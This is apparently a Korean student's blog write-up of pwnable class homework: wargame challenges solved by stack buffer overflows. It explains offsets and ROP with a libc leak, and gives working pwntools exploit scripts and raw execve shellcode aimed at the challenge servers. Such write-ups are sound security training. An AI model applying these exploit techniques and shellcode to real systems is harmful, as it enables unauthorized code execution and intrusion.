이름만 봐도 ezpzzzlol한 문제들이 수업 + 과제 용으로 올라와있길래 보자마자 10분 스피드런 하려 했지만
총 16분 걸렸다.. 조금 더 빡겜했으면 충분히 10분컷 할 수 있었는데 아쉽다. 스피드런도 은근 재밌는것 같다.
change_ret32
대놓고 주는 BOF와
대놓고 주는 셸 함수.. 이름에서 알 수 있듯이 return address변조하면 끝난다. 버퍼가 ebp-0x14이고 32비트 바이너리니까 return address는 ebp+4에 위치하므로 더미를 0x18만큼 주고 원하는 주소 주면 rip변조 된다.
아니 근데 플래그를 좀;; 도커로 분리 해주세요;;;
change_ret64
앞에 문제랑 똑같다. 차이점은 32비트냐 64비트냐 이다.
얘도 주니까 더미 0x28만큼 주고 함수주소 넣어주면 된다. 왜 0x28이냐면 64비트 바이너리는 return address가 rbp+8에 위치하고 따라서 더미를 0x28만큼 주면 그 다음 인풋에서 return address를 덮게 된다.
주의할건 바로 win으로 뛰면 movaps instruction관련 이슈때문에 system내부에서 터지니까 win함수 프롤로그의 push를 건너뛰거나 아니면 ret한번 더 넣어주는 방식으로 rsp를 0x10의 배수로 맞춰줘야 한다.
overwrite_ret32
누가봐도 쉘코드 쓰라고 준 문제다. 야무지게 쉘코드 써준다. 버퍼주소 주니까 버퍼에 쉘코드 박고 나머지는 nop으로 더미 0x104전까지 주고 0x104이 return address니까 야무지게 스택으로 뛰어주면 된다. nop말고 다른걸 줘도 딱히 상관이 없긴 하다.
from pwn import *
context.arch = "x86"
sh = asm(shellcraft.execve("/bin/sh\x00", 0, 0))
r = remote("pwn.scalart.me", 8006)
r.recvuntil("buf address : ")
addr = int(r.recv(14), 16)
r.sendlineafter("size : ", "10000")
r.sendlineafter("Input : ", sh+b"\x90"*(0x104-len(sh))+p32(addr))
r.interactive()
계속 봐도 한 도커 안에 모든문제 다있는거 적응안된다. 분리점;;
overwrite_ret64
얘도 쉘코드다. 아까 앞에서 풀었던거 쉘코드만 64비트로 갈아끼우고 더미 4바이트 더주면 된다. 버퍼 크기가 같고 32비트냐 64비트냐만 달라진거니까 return address가 rbp+4냐 rbp+8이냐 차이니까 4바이트를 더주면 되는것이다.
from pwn import *
context.arch = "amd64"
sh = asm(shellcraft.execve("/bin/sh\x00", 0, 0))
r = remote("pwn.scalart.me", 8007)
r.recvuntil("buf address : ")
addr = int(r.recv(14), 16)
r.sendlineafter("size : ", "10000")
r.sendlineafter("Input : ", sh+b"\x90"*(0x108-len(sh))+p64(addr))
r.interactive()
overwrite_variable32
얘는 그냥 오버플로우로 s1버퍼 strcmp에서 비교하는 값으로 덮어주면 된다. 입력받는 버퍼랑 차이가 0x14만큼 나기 때문에 그만큼 더미 주고 문자열 주면 된다.
overwrite_variable64
얘도 똑같다. 더미만 달라진거다. 아이다를 잘 보면 0x20인걸 알 수 있다.
prob1
이번에는 바이너리에 셸함수가 없다. 그래서 32비트 rop했다.
from pwn import *
r = remote("pwn.scalart.me", 8010)
pr = 0x08048351
printf_plt = 0x08048380
printf_got = 0x0804A010
r.sendlineafter("Name : ", "Sechack")
r.sendlineafter("input : ", b"a"*0x18+p32(printf_plt)+p32(pr)+p32(printf_got)+p32(0x080484CB))
libc = u32(r.recv(4))
libc_base = libc - 0x502b0
system = libc_base + 0x41780
binsh = libc_base + 0x18e363
log.info(hex(libc_base))
r.sendlineafter("Name : ", "Sechack")
r.sendlineafter("input : ", b"a"*0x18+p32(system)+p32(0)+p32(binsh))
r.interactive()
libc offset은 처음에 libc.nullbyte.cat에서 찾아봤는데 안나오길래 libc.rip에서 찾았다.
libc가 여러개 나오는데 CTF를 많이 뛰면서 엄청나게 많은 libc를 경험하다 보면 감이라는게 생긴다. 딱 보자마자 출제자가 이 libc썼을것 같다 하고 때려박으면 90%이상은 맞는것 같다. 물론 틀릴때도 있다.. ㅎ 아무튼 이 문제에선 한번에 맞췄다.
라업 끝...
알고보니까 이 문제는 name에 쉘코드 넣어서 푸는거랜다. 항상 보호기법 체크하는 습관 가져야겠다. NX는 무조건 걸려있다는 생각을 가지고 시작해서 저번에 DIMI CTF때도 개쉬운거 못풀어서 1등하는거 3등했던 기억이 있다.
인텐대로 쉘코드를 넣어서 다시 풀어보면
from pwn import *
context.arch = "x86"
r = remote("pwn.scalart.me", 8010)
r.sendlineafter("Name : ", asm(shellcraft.execve("/bin/sh", 0, 0)))
r.sendlineafter("input : ", b"a"*0x18+p32(0x804A060))
r.interactive()
이렇게 된다.
basic_exploitation_000
딱 return address까지 덮이게끔 bof를 준다. 스택 주소 주니까 그냥 쉘코드 넣고 실행하면 된다. 주의할점은 scanf에서 입력받지 못하는 공백이나 탭이나 이런것들이 쉘코드에 포함되면 안된다.
from pwn import *
r = remote("host3.dreamhack.games", 18013)
sh = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
r.recvuntil("buf = (")
addr = int(r.recv(10), 16)
log.info(hex(addr))
r.sendline(sh+b"a"*(0x84-len(sh))+p32(addr))
r.interactive()
'Layer7' 카테고리의 다른 글
Layer7 - 포너블 4차시 과제 (0) | 2022.10.05 |
---|---|
Layer7 - 포너블 3차시 과제 (1) | 2022.10.04 |
Layer7 - 포너블 1차시 과제 (0) | 2022.10.04 |
Layer7 - 포너블 1차시 수업 (0) | 2022.10.04 |
Layer7 - 리버싱 11차시 과제 (0) | 2022.10.04 |